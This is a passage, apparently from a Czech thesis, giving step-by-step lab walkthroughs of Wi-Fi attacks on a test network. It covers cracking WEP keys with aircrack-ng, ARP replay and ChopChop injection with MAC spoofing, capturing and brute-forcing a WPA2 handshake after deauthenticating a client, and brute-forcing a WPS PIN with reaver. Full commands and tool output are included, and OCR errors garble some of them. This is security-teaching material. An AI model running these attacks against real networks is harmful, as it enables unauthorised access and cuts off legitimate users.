tuje zpusob jak proces urychlit. Tim je vkladani ARP ramcu do sité, ale pro-
toze tento proces neni nezbytny pro tspésny utok na WEP zabezpeceni a je
narocnéjsi na provedeni, tak bude popsan az v dalsi sekci [7.2.2]

Jakmile myslime, Ze mame zachyceny dostateény pocet ramci v sloupci
#Data, tak ukonc¢ime airodump-ng kléavesovou zkratkou Ctrl+C.

Tretim a poslednim krokem je spusténi programu aircrack-ng na hledani
spravného WEP klice. Pred spusténim ttoku na WEP zabezpeceni je mozné
specifikovat riizné parametry ttoki, ale zdkladni nastaveni funguje dobte. Utok
na zachycené ramce v souboru wep.cap spustime piikazem:

aircrack-ng -a 1 web.cap

Parametr ‘ Komentar ‘
-a Urcuje druh dtoku (1 = WEP)
-K Zapne stary FMS tutok (bez parametru je pouzit PTW)

Tabulka 5: Pouzité parametry piikazu aircrack-ng

Pokud vlozeny soubor do programu aircrack-ng obsahuje ramce od vice
AP, tak se zepta, od kterého AP ma ramce pouzivat, ale nam se tato tabulka
neukaze, protoze v airodump-ng jsme jiz odfiltrovali vSechny nepotiebné ramce
(lépe et misto). Vypis po uspésném rozlusténi klice muze vypadé néasledovné:

Opening wep/104bit-02.cap
Read 186023 packets.

# BSSID ESSID Encryption

1 00:0C:42:1B:A2:BC test102.1 WEP (84137 IVs)
Choosing first network as target.
Opening wep/104bit-02.cap

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 84137 ivs.

Aircrack-ng 1.2 rcl

[00:00:01] Tested 7501 keys (got 84137 IVs)

KB depth  byte(vote)

0 o/ 1 1F(121600) AD(99072) 13(94720) BA(94208) B1(93952)
1 0/ 1 4D(111616) E3(99328) 79(96512) 1F(95488) 44(95488)
2 0/ 1 7B(113408) 22(99328) 07(94208) EB(93696) B6(93184)
3 0/ 1 O0F(112128) 5A(98048) 52(97280) 90(96768) D5(96512)
4 0/ 1 3D(111616) 3D(97792) C4(95744) 27(95488) 73(95488)
5 0/ 1 6B(102912) CC(100352) OE(97536) CA(97024) 9C(96000)
6 0/ 1 9F(121344) 9D(97024) 3A(95744) 2D(94720) 40(94464)

95



7 0/ 1 2D(114432) 7A(100608) 15(99328) B8(98304) 80(95488)
8 0/ 1 5B(100864) 07(96512) EB(96512) 4E(95232) 8F(95232)
9 0/ 1 8F(108288) 68(96256) EC(94208) F8(94208) 36(93952)
10 1/ 1 21(94720) C9(94720) 7B(94464) 52(94208) 67(94208)
11 1/ 1  55(96256) 58(94976) 1E(94464) 38(94208) FC(94208)
12 0/ 1 T7F(97376) 96(94292) 5F(93004) 47(92628) CD(92516)

KEY FOUND! [ 1F:4D:7B:0F:3D:6B:9F:2D:5B:8F:1D:4B:7F ]
Decrypted correctly: 100%

Vypis je z PTW tutoku na 104 bitovy kli¢ z pfedem pfipraveného souboru
104bit-02.cap. K prolomeni kli¢e stacilo pouhych 84,137 unikatnich IV, coz je
na predpokladaném poctu potiebnych rameci pro PTW tutok. Stejny soubor 1ze
spustit i s parametrem -K pro stary FMS ttok, ale ten nedokaze rozlustit kli¢
z tohoto souboru. FMS ttok potfebuje nékolika nasobné vétsi pocet IV (viz.
tab.|b|) pro ispésné prolomeni klice a samotné hledani klice trva delsi dobu, ale
nepottebuje specifické ramce jako PTW, ktery pro nejlepsi funkénost potiebuje
co nejvice ARP ramcu.

| Délka kli¢e | FMS uatok [ PTW dtok |
40 b Klie | 200,000 30,000
104 b klie | 1,000,00 [ 80,000

Tabulka 6: Predpoklddany pocet IV k prolomeni klice

Cisla jsou pouze orientacni a zalezi na nachytanych IV. Pro testovani 40 b
klice byly pouzity dva soubory s 25,258 a 40,723 IV, kdy pouze druhy zminény
byl prolomen s vyuzitim PTW utoku.

7.2.2 Utok s vkladanim ARP ramcu

Jedné se o stejny tutok jako v predchozi sekci (pouziva PTW), akorat je
doplnény o vkladani ARP ramctu do sité, pro rychlejsi nasbirani potiebnych
IV.

Prvni krok je totozny, kdy po zapnuti monitorovaciho médu a nasledném
pouziti airodump-ng si vybereme sit k provedeni itoku. V nasem piipadé pujde
o uplné stejnou sit test102.1.

Druhym krokem je nyni zména MAC adresy na rozhrani mon0. Puvodni
MAC adresu nahradime novou adresou, presnéji MAC adresou piipojeného
klienta k siti. Pouzitym programem je macchanger, ktery je jiz soucasti Kali
Linux. Pfed samotnou zménou MAC adresy musime rozhrani mon0 zapnout na
spravném vysilacim kanale, to znamena, Ze rozhrani mon0 je potieba vypnout
a poté znova zapnout na dany kanal. Po prepnuti mon0 na spravny kanal
muzeme prejit na zménu MAC adresy s nésledujicimi piikazy:

ifconfig monO down
macchanger -m 00:0C:42:31:2B:2E monO
ifconfig mon0O up
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Ptikazem rozhrani mon0 shodime, abychom schopni mu pfiradit novou
MAC adresu. Pomoci programu macchanger s parametrem -m pfifadime mon0
novou MAC adresu, shodnou s jiz pfipojenym klientem k AP. Nakonec rozhrani
mon0 opét nahodime. Celou zménu muzeme kontrolovat prikazem:

ifconfig

kdy pro rozhrani mon0O hliddme polozku HWaddr, kterda vypisuje aktualné
pouzivanou MAC adresu. Hodnoty pred a po zadani piikazu macchanger by
mély byt rozdilné. Pro vraceni puivodni MAC adresy se macchanger piikaz
zméni na:

macchanger -p monO

Tretim krokem je vytvoreni falesné autentizace (fake authentication) s pii-
stupovym bodem, protoze AP zpracovava pouze rdmce od autentizovanych
klienti. K tomu vyuzijeme jiz autentizovanou MAC adresu, kterou jsme si v
minulém kroku nastavili. FaleSnou autentizaci spustime pfikazem:

aireplay-ng --fakeauth 600 -q 10 -a 00:0C:42:1B:A2:BC -h 00:0C:42:31:2B:2E monO

’ Parametr ‘ Komentar ‘

Specifikuje druh utoku a ¢as opétovné autentizace
ve vtefinach (velké ¢islo zapne Keep Alive ramce)
-q Mezera mezi Keep Alive ramci ve vtefinach

-a MAC adresa AP

-h MAC adresa zdroje (odesilatele)

--fakeauth

Tabulka 7: Pouzité parametry piikazu aireplay-ng

Prvnich nékolik pokust o autentizaci miize neuspét pro ruzné diuvody, ale
konec¢ny vysledek by mél vypadat takto:

Waiting for beacon frame (BSSID: 00:0C:42:1B:A2:BC) on channel 1

Sending Authentication Request (Open System) [ACK]
Authentication successful

Sending Association Request [ACK]

Association successful :-) (AID: 1)

Nejdiive se ¢eka na Beacon ramec, ktery piijmeme pouze na difve nasta-
veném kanale. Po tspésné identifikaci AP se zkousi falesné autentizace a poté
asociace. Pokud v8e probéhlo spravné, tak se spojeni udrzuje Keep Alive ramci.

étvrt}?m krokem je jiz generovani ARP ramcu a zachytavani odpoveédi s
vygenerovanymi IV. Pro zachyceni ramci je pouzit airodump-ng se stejnymi
parametry jako diive, ale program musi byt zapnuty v novém piikazovém fadku
(terminalu), protoze v prvnim bézi falesna autentizace:

airodump-ng -c 1 --bssid 00:0C:42:1B:A2:BC -w arp monO
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vysvétlivky parametrt v tab. [
Do dalsiho terminalu (tfetiho) zadame piikaz, ktery bude vkladat ARP
ramce do sité:

aireplay-ng --arpreplay -x 20 -b 00:0C:42:1B:A2:BC -h 00:0C:42:31:2B:2E monO
play-ng preplay

’ Parametr \Komentéf

--arpreplay | Specifikuje druh utoku
-X Pocet vysilanych ARP ramcu za vtefinu
-b MAC adresa AP
-h MAC adresa zdroje (odesilatele)

Tabulka 8: Pouzité parametry pitkazu aireplay-ng

Vypis spusténého programu by mél vypadat takto:

Waiting for beacon frame (BSSID: 00:0C:42:1B:A2:BC) on channel 1

Saving ARP requests in replay_arp-0405-115102.cap

You should also start airodump-ng to capture replies.

233633 packets (got 75987 ARP requests and 79518 ACKs), sent 83448 packets...(20 pps)

Nejdiive se potvrdi sit z Beacon ramce, pokud je sit nalezena, tak aireplay-
ng zacne naslouchat. Program ¢ekd na prvni ARP ramec, ktery muze repliko-
vat a vratit zpét do sité. Jako odesilatel ramce se nastavi falesné autentizovana
MAC adresa, aby ndmi generovany provoz AP nezahodilo. Program automa-
ticky uklada pravé ARP ramce vysilané AP pro mozné pozdéjsi pouziti. Po
zachyceni dostate¢ného po¢tu ARP ramcu ukonc¢ime airodump-ng i aireplay-
ng klavesovou zkratkou Ctrl+C.

Patym krokem je spusténi programu aircrack-ng pro nalezeni spravného
klice z zachycenych IV.

aircrack-ng -i 1 arp.cap

Na takto nachytané ramce lze pouzit pouze PTW tutoku, protoze stary
FMS na to neni uzptusoben a sdileny kli¢ by nebyl schopny najit.

Vkladani ramcu zpét do sité nemusi vzdy fungovat, protoze cely proces
je zavisly na nékolika zafizenich a procesech, které nemusi byt vzdy pod nasi
kontrolou:

° gpatnéu podpora ovladactu pouzivané bezdratové karty
e Nelze vytvorit falesnou autentizaci u AP, i po nastaveni nové MAC adresy
e AP nemusi pfijimat nami generované ARP ramce

Mnou nalezeny problém spocival v neodpovidani piistupovym bodem na
generované ramce, i kdyz falesna autentizace probéhla spravné (nedostavame
deautentizacni ramce) a pomoci airodump-ng mizeme pozorovat, jak ramce
posilané z nasi MAC adresy (odposlechnuté MAC adresy) nejsou zahazovany
(sloupec Lost). Pritom v aireplay-ng nezachytdvame zadné ARP ramce, ale
stale dostavame potvrzeni o pfijeti odeslanych rdmct od AP.
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7.2.3 ChopChop utok

ChopChop ttok (viz. sekce [4.1.3)) vyuZivé falesné autentizace a vkladani ramct
zpét do sité. To znamend, Ze za¢atecni nastaveni je totozné s sekei a miuze
zde tedy dojit k stejnym problémutm.

Prvni krok je opét totozny, kdy po zapnuti monitorovactho médu a nasled-
ném pouziti airodump-ng najdeme vhodnou sit. V nasem piipadeé sit test102.1.

Druhym krokem je zména nasi MAC adresy na rozhrani mon0 a pfepnuti
na spravny kanal. MAC adresu vymeénime za jinou, ktera je jiz autentizovana
u AP. Postup je stejny jako minule, kdy rozhrani nejdfive shodime, zménime
MAC adresu a opét nahodime.

Ttetim krokem je provedeni falesné autentizace k pfistupovému bodu za
pomoci zménéné MAC adresy, pokud autentizace probéhla tspésné, muzeme
pristoupit k utoku.

étvrtjrm krokem je spusténi ChopChop ttoku, kdy do nového terminélu
zaddme piikaz:

aireplay-ng --chopchop -b 00:0C:42:1B:A2:BC -h 00:0C:42:31:2B:2E monO

] Parametr \Komentéf ‘

--chopchop | Specifikuje druh ttoku
-b MAC adresa AP
-h MAC adresa zdroje (odesilatele)

Tabulka 9: Pouzité parametry piikazu aireplay-ng

Pred utokem se sit potvrdi pomoci Beacon ramce. Jakmile je sit nalezena,
program odposlouchava provoz na siti a nabizi nam, ktery z zachycenych ram-
cu chceme zkusit rozsifrovat. Ramce odmitame zaddnim pismene N a piijmeme
pismenem Y, které nasledné potvrdime stisknutim Enter. Jakmile vybere néja-
ky rdmec, tak si ho program ulozi v ptivodni podobé a zacne tutok. Nasledujici
vypis ukazuje potvrzeni vybraného ramce:

Waiting for beacon frame (BSSID: 00:0C:42:1B:A2:BC) on channel 1
Read 160 packets...

Size: 127, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:0C:42:1B:A2:BC

Dest. MAC = 01:00:0C:CC:CC:CC

Source MAC = 00:0C:42:1B:A2:BC
0x0000: 0842 0000 0100 Occc cccc 000c 421b a2bc .B.......... B...

0x0010: 000c 421b a2bc 70fd 8759 £200 4ac3 3a35 ..B...p..Y..J.:5
0x0020: 007c 69el 729d 4dba 33b7 c56f e0f0 b748 .|i.r.M.3..o...H
0x0030: <014 c736 ad41l af34 d495 3c09 7339 0c8d ...6.A.4..<.s89..
0x0040: Db4d2 2676 babl a434 5400 0f3e 1857 780a ..&v...4T..>.Wx.
0x0050: 8acO 4465 80fa 0748 8b6a 3d50 el2b 9d6b ..De...H.j=P.+.k
0x0060: 57a2 031a b3b8 deef dc08 69d5 3ccl aa36 W......... i.<..6
0x0070: 505d db2b 16c6 0463 7c65 65b9 5e40 72 P].+...clee."@r
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Use this packet 7 y
Saving chosen packet in replay_src-0408-025650.cap

Pf1i vybirani ramce se musi hledét na jeho délku, protoze prilis kratké ramce
nemusi byt po tpravé preposlany. Pokud vse probéhlo dobtre, tak na konci
vypisu program oznami, kam ulozil rozsifrovanou zpravu v souboru .cap, ktery
se da oteviit ve Wiresharku pro pfecteni piivodni zpravy.

The AP appears to drop packets shorter than 35 bytes.
Enabling standard workaround: ARP header re-creation.

Saving plaintext in replay_dec-0408-025711.cap
Saving keystream in replay_dec-0408-025711.xor

Completed in 21s

Béhem testovani se objevil problém, kdy nami pouzité AP zahazovalo
vSechny pozménéné ramce. Utok pri netuspéchu vypiSe mozné pric¢iny selha-
ni, ale pritom vSechny vypsané body jsou splnény:

Sent 1638 packets, current guess: 5F...
The chopchop attack appears to have failed. Possible reasons:

You’re trying to inject with an unsupported chipset (Centrino?).

The driver source wasn’t properly patched for injection support.

You are too far from the AP. Get closer or reduce the send rate.
Target is 802.11g only but you are using a Prism2 or RTL8180.

The wireless interface isn’t setup on the correct channel.

The client MAC you have specified is not currently authenticated.

Try running another aireplay-ng to fake authentication (attack "-1").
* The AP isn’t vulnerable when operating in authenticated mode.

Try aireplay-ng in non-authenticated mode instead (no -h option).

* K ¥ ¥ X ¥

Posledni varianta tika, aby se spustil atok bez predchozi autentizace a sa-
motny piikaz atoku bez -h argumentu. Vysledkem je opét selhéani, kdy program
napiSe, at pouzijeme faleSnou autentizaci.

7.3 Wi-Fi Protected Access/WPA2

V této kapitole si ukdZzeme jak postupovat pfi prolamovani WPA-Personal za-
bezpecent (viz. sekce 4.2.1)), které pouziva k autentizaci piistupové heslo.
Reseni predpoklada, ze nasledujici véci plati:

e Bezdratova karta podporuje vkladani ramect.
e K AP je pfipojen aspon jeden klient.

e Jsme dostatecné blizko k AP 1 klientovi.
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7.3.1 Utok na PSK kli¢

Prvnim krokem je nalezeni vhodného piistupového bodu, ktery mé pfipoje-
ného klienta. Pomoci kombinace adaptéru v monitor moédu a airodump-ng
naskenujeme vSechna aktivni zafizeni v dosahu.

CH 8 ][ Elapsed: 5 mins ][ 2015-04-04 18:13

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0C:42:1B:A2:BC -49 365 134 0 1 54 . WPA2 CCMP PSK test102.1
BSSID STATION PWR Rate Lost Frames Probe
00:0C:42:1B:A2:BC 00:0C:42:31:2B:2E -56 54 -54 0 126

7 zkraceného vypisu airodump-ng muzeme vyc¢ist nasledujici informace. V
nasem dosahu se nachazi jedno AP vysilaji na ESSID test102.1, které vyuzi-
va WPA2 zabezpeceni s PSK autentizaci (sloupec AUTH) a mé pfipojeného
jednoho aktivniho klienta. Vysvétlivky sloupct jsou v tab. [3

Druhym krokem je ziskani potfebnych informaci k sestaveni zabezpecova-
cich kli¢tu. Potiebujeme tedy zachytit prubéh 4-cestné vymény (aspoii prvni 2
ramce). K zachyceni ramcta muzeme pouzit dvé metody:

e Pasivni - za¢neme zachytavat provoz zvoleného AP a ¢ekdme, aZ se néjaky
klient pripoji.

e Aktivni - zaCneme zachytavat provoz zvoleného AP a poté jednoho jiz
pripojeného klienta odpojime, ¢imz ho donutime znovu pfipojit.

Predtim, nez odpojime klienta, zapneme airodump-ng pro zachyceni a ulo-
zeni 4-cestné vymeény prikazem, kde si rovnou odfiltrujeme vSechen nepotiebny
provoz:

airodump-ng -c 1 --bssid 00:0C:42:1B:A2:BC -w wpa monO

popis parametrt v tab. [

V novém terminélu pouzijeme program aireplay-ng pro vygenerovani deau-
tentizacniho ramce, ktery odesleme pripojenému klientovi. Tim mu ozndmime,
ze uz neni v siti autentizovan a doufame v jeho opétovné pripojeni k siti, ¢imz
donutime novou 4-cestnou vymeénou, kterou jsme pfipraveni zachytit. Cely
proces spustime piikazem:

aireplay-ng --deauth 2 -a 00:0C:42:1B:A2:BC -c 00:0C:42:31:2B:2E monO

’ Parametr ‘ Komentar ‘

Specifikuje druh utoku a pocet odeslanych skupin
deautentizacnich ramci

-a MAC adresa AP
-C MAC adresa klienta (prijemce)

--deauth

Tabulka 10: Pouzité parametry piikazu aireplay-ng
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Pokud odeslani deautentiza¢nich ramct probéhlo tspésné a klientem byly
prijaty, tak vypis tutoku by mél byt nasledujici. Odesldny byly dvé skupiny
ramct, i kdyz vypis ukazuje, Ze klient reagoval pouze na prvni skupinu ram-
ci. Vétsi pocet pouzitych skupin akorat prodluzuje dobu, nez se klient znova
pripoji.

Waiting for beacon frame (BSSID: 00:0C:42:1B:A2:BC) on channel 1

Sending 64 directed DeAuth. STMAC: [00:0C:42:31:2B:2E] [31]64 ACKs]
Sending 64 directed DeAuth. STMAC: [00:0C:42:31:2B:2E] [ 0|64 ACKs]

Jakmile se klient autentizuje zpét do sité a uspésné zachytime 4-cestnou
vyménu, airodump-ng nam to oznami v pravém hornim rohu zpravou WPA

handshake: 00:0C:42:1B:A2:BC:

CH 8 ][ Elapsed: 4 s ][ 2015-04-04 19:23 ][ WPA handshake: 00:0C:42:1B:A2:BC

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0C:42:1B:A2:BC -53 100 65 16 3 1 54 . WPA2 CCMP PSK testl
BSSID STATION PWR Rate Lost Frames Probe
00:0C:42:1B:A2:BC 00:0C:42:31:2B:2E -56 54 -54 0 126

Tretim a poslednim krokem je spusténi samotného titoku na zachycenou 4-
cestnou vymeénu. K prolomeni hesla bude pouzit aircrack-ng, ktery pro spusténi
ttoku na WPA-Personal (PSK) potiebuje specifikovat pouzity slovnik, i kdyz
chceme provézt bruto-foce utok.

Pro slovnikovy ttok pouzijeme diive pripraveny slovnik wpawordlist.txt z
sekce Po spusténi bude program zkouset jedno heslo za druhym, dokud
nedojde na konec slovniku nebo najde spravné pristupové heslo. Slovnikovy
utok na zachycenou 4-cestnou vymeénu spustime piikazem:

aircrack-ng -a 2 -w wpawordlist.txt wpa.cap

’ Parametr ‘ Komentar ‘
-a Urcuje druh dtoku (2 = WPA)
-w Specifikuje pouzity slovnik

--bssid | MAC adresa AP

Tabulka 11: Pouzité parametry piikazu aircrack-ng

V pripadé pouziti bruto-force ttoku nebudeme vytvaret slovnik slozeny ze
vSech kombinaci znakt, protoze to by bylo velmi nepraktické, ale vyuzijeme
programu crunch na prubézné generovani hesel. Cely piikaz je slozen ze dvou
piikazt, kdy v prvnim piikazu zapindme crunch program, ze kterého smé-
rujeme vystup do programu aircrack-ng. A druhy pfikaz zapina aircrack-ng,
ktery ted misto tahani hesel ze souboru, bude tahat hesla z programu crunch.
Aircrac-ng piikaz musel byt doplnén o specifikovani MAC adresy AP, cely
piikaz tedy vypadé nasledovné:

crunch 8 10 abcdefghijklmnopqrstvwuxyz1234567890 | aircrack-ng -a 2 -w - wpa.cap
-bssid 00:0C:42:1B:A2:BC
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Prikaz programu crunch je slozen z minimalni a maximalni délky genero-
vanych hesel, a naslednym vypsanim vsSech znaki, ze kterych chceme hesla
generovat. V ukdzaném piikladé jsou generovana hesla s délkou 8 az 10 znak,
pricemz jsou slozena pouze z malych pismen a Cisel.

Pokud se programu aircrack-ng podaii nalézt spravné pristupové heslo, tak
vysledny vypis vypadé takto:

Opening wpa/one-01.cap
Read 1037 packets.

# BSSID ESSID Encryption
1 D4:CA:6D:13:D1:AD test102.1 WPA (1 handshake)
Choosing first network as target.

Opening wpa/one-01.cap
Reading packets, please wait...

Aircrack-ng 1.2 rcil
[00:41:35] 8203840 keys tested (3191.37 k/s)
KEY FOUND! [ volumes1234 ]

Master Key : 63 69 99 2A 54 C6 EB EF 65 E3 2C 39 C4 5C DF D7
B5 AE 81 EE 8F C2 Al 1A 33 5B 36 B4 8A 33 B6 21

Transient Key : E2 89 71 A7 76 1D F9 41 18 2D 12 8D 79 D4 10 FD
DB E7 3E AA 42 30 02 56 C4 65 56 3E 05 FD 7D BF
FD C4 A4 C9 1C F1 AF 4E 60 91 AF 57 86 67 42 CO
BF A4 CF F3 23 38 FB AA 18 10 D6 A4 F7 5B 82 6B

EAPOL HMAC : 37 94 7TF C3 79 3D 0C 2C 43 3F 30 B3 05 5B 01 A7

Vypis je z pripraveného souboru one-0l.cap, ktery byl pouzit k testovani
vykonu (viz. sekce . Program vypiSe nalezené pfistupové heslo, v tomto
piipadé volumes1234, které pouzil k vypoc¢teni PMK klice a nasledné PTK
klice. Master key znézornuje 256 b dlouhy PMK kli¢ a Transient Key je 512
b dlouhy PTK kli¢, ktery je rozdélen po jednotlivych fadcich na 128 b KCK,
KEK, TEK klice a dva 64 b TMK klice v tomto poradi.

7.3.2 Zobrazeni 4-Way Handshake

K zobrazeni zachycenych ramct vyuzijeme programu Wireshark, ktery jako
jediny program vyuziva grafického rozhrani.

Protoze nami zachycené ramce jsou v jednom velkém souboru, tak pro
zobrazeni pouze toho co nas zajimé existuje nékolik zptisobii:

e Filtrovat v Wiresharku po otevreni ptuvodniho souboru.
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e Filtrovani pomoci tshark programu, ktery nami specifikované ramce (Be-
acon ramec, 4-Way Handshake) ulozi do nového souboru .

e Filtrovani pomoci wpaclear programu (podobné tshark, ale ulozi jen prv-
ni dva ramce 4-Way Handshake).

Filtrovat rdmce s vyuzitim zminénych programt méa vyhodu v tom, Ze nové
vytvoreny soubor bude obsahovat vSechny ramce potiebné k ttoku. Takze po
provedeni nasledujiciho prikazu mizeme stary soubor smazat a k prolamova-
cimu utoku pouzit nové vytvoreny soubor:

tshark -r wpa.cap -R "eapol || wlan.fc.type_subtype == 0x08" -w newwpa.cap

’ Parametr \ Komentar ‘

-T Soubor, z kterého ¢teme ramce
-R Nastaveny filtr, shodny s tim v grafickém Wiresharku
-w Vystup ulozi do souboru (musi byt .cap formétu)

Tabulka 12: Pouzité parametry pfikazu tshark

Nové vytvoreny newwpa.cap soubor bude obsahovat jeden Beacon ramec
a vSechny zachycené EAPOL rdmce v puvodnim souboru. Nové vytvoreny
soubor muzeme oteviit z grafického prostiedi systému nebo pomoci nasledujici
prikazu, ktery zapne Wireshark a nacte soubor:

wireshark newwpa.cap

Wireshark by mél dohromady vypsat 5 rdmct, kde prvni z nich je Beacon
ramec, po kterém néasleduji 4 nebo vice EAPOL ramcua. Z vypsanych ramcu
lze vycist, zda nami zachycena vymeéna kli¢ti probéhla v poradku ¢i nikoli.
Pokud by se ukazalo, zZe zachycena vymeéna je neplatna, dany soubor nemé
cenu testovat prolamovacim programem na ziskani pfistupového hesla.

Na nasledujicim obr. 7.1 je vidét druhy EAPOL ramec tspésné 4-cestné
vymeény. Z obrazku je vidét, ze wireshark nam usnadiuje praci a on sém dokaze,
poznat zda vymeéna kli¢i probéhla v poradku, kdy jednotlivé EAPOL ramce
o¢isloval (Message 2 of 4). Pokud chceme ramce ovéfit rucné, divame se na
radek oznaceny jako Key Information:. Pokud se jedné o tspésnou vymeénu
kli¢ii, hodnota radku by méla pro kazdy ramec odpovidat tab. [13]

| Ramec | WPA s TKIP | WPA2 s EAS (CCMP) |

prvni 0x0089 0x008a
druhy 0x0109 0x010a

tieti 0x01c9 0x13ca
ctvrty 0x0089 0x030a

Tabulka 13: Hodnota fadku Key Information u EAPOL zprav tispésné vymény
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Zatimco u neplatné vymény se prvni a druhy ramec opakuje na dalsich
pozicich. To je zapric¢inéno Spatné zadanym pristupovym heslem obsazeném v
druhém ramci, a proto AP cely proces obnovi poslanim nového prvniho ramce.

goodhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10}] - [0 x

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

] S X¥Claer»rFE EE B dEEE= 8

Filter: ~ | Expression..
No. Time Source Destination Protocol | Lengtl | Info
1 0.000000000 Routerbo_lb:a2:be Broadcast 802. 11 141 Beacon frame, SN=3194, FN=0, Flags=........, E
2 4.470016000 Routerbo_lb:a2:bc Routerbo_21:2b:2e EAPOL 153 Key (Message 1 of 4)
3 4.485884000 Routerbo_31:2b:2e Routerbo_lb:a2:bc EAPOL 153 Key (Message 2 of 4)
4 4.486910000 Routerbo_lb:a2:bc Routerbo_31:2b:2e EAPOL 187 Key (Message 3 of 4)
5 4.491516000 Routerbo_31:2h:2e Routerbo_lb:az:bc EAPOL 131 Key (Message 4 of 4)

Version: 802.1X-2001 (1)
Type: Key (3]
Length: 117
kKey Descriptor Type: EAPOL RSN Key (2)
+ Key Information: 0x010a
key Length: ©
Replay Counter: 1
WPA Key Monce: 01b33edSh3a89949396f 1f652d04378d37be 12a96800ec79. . .
Key IV:
WPA Key RSC: 0000000000000000
WPA Key ID: 0000Q000000000000
WPA Key MIC: 52428d7d70571ef57404d1512237bell
WPA Key Data Length: 22
+ WPA Key Data: 30140100000fac040100000f ac040100000f ac020000
0000 08 01 3c 00 00 Oc 42 1b a2 bc 00 Oc 42 31 2b 2e  ..<...B. ....Bl+.
0010 00 Oc 42 1b a2 bc 10 6b aa as 03 00 00 00 S8 8e Bk e |
0020 01 03 00 75 02 01 0a OO0 0O OO OO OO OO QO QO OO P

0030 OL 01 b2 3e d5 b3 a8 99 49 39 &f 1f 65 2d 04 37  ...=.... I90.e-.7
0040 8d 37 bc 12 a9 eB 00 ec 79 7d 47 cB8 b8 46 8h 05 .7...... ¥}1G..F..

O ® File: "goodhandshake.cap” 1019 by... ... Profile: Default

Obréazek 31: Druhy EAPOL ramec tspésné 4-cestné vymény

Cela tuspésna vyména i opakovani netspésné vymeény je soucésti prilohy
na konci prace.

7.4 Wi-Fi Protected Setup

V této kapitole si ukdzeme jak spustit utok na AP s WPA-Personal zabezpe-
¢enim, které mé navic moznost autentizace PIN kodem pres WPS (viz. sekce

13).

Reseni predpoklada, ze nasledujici véci plati:

e Bezdratova karta podporuje vkladani ramet.

e AP ma zapnuté WPS.

e Jsme dostatecné blizko k AP po celou dobu utoku.

Prvnim krokem je nalezeni pristupovych bodu s zapnutou WPS autentizaci.
Po zapnuti monitorovactho médu na adaptéru vyuzijeme programu wifite k
nalezeni dostupnych siti s zapnutym WPS. Hledani spustime piikazem:

wifite -wps -i monO
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’ Parametr \ Komentar ‘

-WpS Vypisuj pouze sité s WPS
-1 Nézev pouzitého rozhrani

Tabulka 14: Pouzité parametry piikazu wifite

Vypis programu vypadé takto:
NUM ESSID CH ENCR POWER WPS? CLIENT

1 jupiter 6 WPA2 b51db wps

[0:00:10] scanning wireless networks. 1 target and O clients found

kdy pro ukonceni skenovani stiskneme dvakrat Ctrl+C.

Program nasel jednu sit se zapnutym WPS pod ESSID jupiter. Protoze wi-
fite nevypisuje MAC adresy nalezenych siti, které budeme pozdéji potiebovat,
tak s pomoci programu airodump-ng naskenujeme dostupné sité znovu. V na-
sledujicim zkraceném vypisu je vidét, ze airodump-ng nevypisuje pritomnost
WPS zabezpeceni a proto byl nejdiive pouzit program wifite, abychom védéli,
jaké sité méme hledat.

CH 12 ][ Elapsed: 1 mins ][ 2015-04-04 21:14

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:6E:1F:AA:EC:F8 -48 21 15 0O 6 b54e. WPA2 CCMP PSK jupiter
10:FE:ED:D2:D3:1A -80 3 0 0 11 b54e. WPA2 CCMP  PSK merkur

Hledani siti pomoci wifite neni potfebnym krokem, jelikoz program pouzity
na WPS tutok by po spusténi vypsal, Ze se k zadanému AP nedokaze pripojit
a tim oznami nepfitomnost WPS na zadaném AP. Proto v predchozim vypisu
jsou ukazany dvé sité, kde jedna z nich WPS podporuje a druhé nikoli.

Druhym krokem je jiz spusténi brute-force ttoku na piislusné AP. Pouzity
program je reaver, ktery pouziva ttok popsany v sekci [4.3.1] Pro zahajeni
utoku reaver hledé specifikovanou sit na jednotlivych kanalech pomoci Beacon
ramct, pro urychleni hledani mizeme rozhrani mon0 vypnout a opét zapnout
na potfebném kanéle (viz. sekce [7.1.3)). Pro spustént ttoku pouzijeme pitkaz a
¢ekdme na vypis programu:

reaver -i monO -b C4:6E:1F:AA:EC:F8 -vv -d 10 -N

’ Parametr \ Komentar

-1 Nazev pouzitého rozhrani

-b MAC adresa AP

-Vv Podrobnéjsi vypis prace programu

-d Mezera mezi jednotlivymi pokusy

N Neposilat NACK ramce (Negative-Acknowledgment)
pri pfijmuti ramcua ve Spatném poradi

Tabulka 15: Pouzité parametry piikazu reaver
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Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from C4:6E:1F:AA:EC:F8

[+] Switching monO to channel 6

[+] Associated with C4:6E:1F:AA:EC:F8 (ESSID: jupiter)
[+] Trying pin 12345670

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received WSC NACK

[+] Sending WSC NACK

[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

Diky podrobnéjsimu vypisu vidime jednotlivé kroky programu. Po spravné
identifikaci AP s nim navazeme spojeni, pro dalsi vyménu PIN koédi. Prvni ¢ast
(4 cislice) PIN kodu se prendsi ve zpravé oznacené M4. V naSem piipadé se
jedné o skupinu znaku 1234, na kterou jsme dostali odpovéd, Ze kombinace je
Spatna (Received WSC NACK). Tim skonéil prvni pokus o hadani PIN kodu.

Pii pokusu o navazani druhého spojeni program zaregistroval, ze AP se
nelibi naSe aktivita v siti a zapnul omezeni na WPS autentizaci. Reaver umoz-
nuje Siroké nastaveni pomoci dalsich argumentii a je mozné, Ze jesté Setrnéjsi
zpusob ttoku by mohl na jiné AP fungovat. VSechno zéalezi pouze na implemen-
taci v samotném AP, jak reaguje na neplatné pokusy k prihlageni. Po objeveni
tohoto utoku totiz zacali vyrobci piistupovych bodi implementovat rizné bez-
pecnostni limity, kterym se snazi podobnym ttokim zamezit. Z tohoto testu
je vidét, ze se jim to na pouzitém AP podafilo.

Pokud by WPS utok probé&hl uspésng, vysledek by mél vypadat takto (hod-
noty jsou smyslené):

[+] Trying pin 24569102

[+] Key cracked in 23415 seconds
[+] WPS PIN: °24569102°

[+] WPA PSK: ’123heslo’

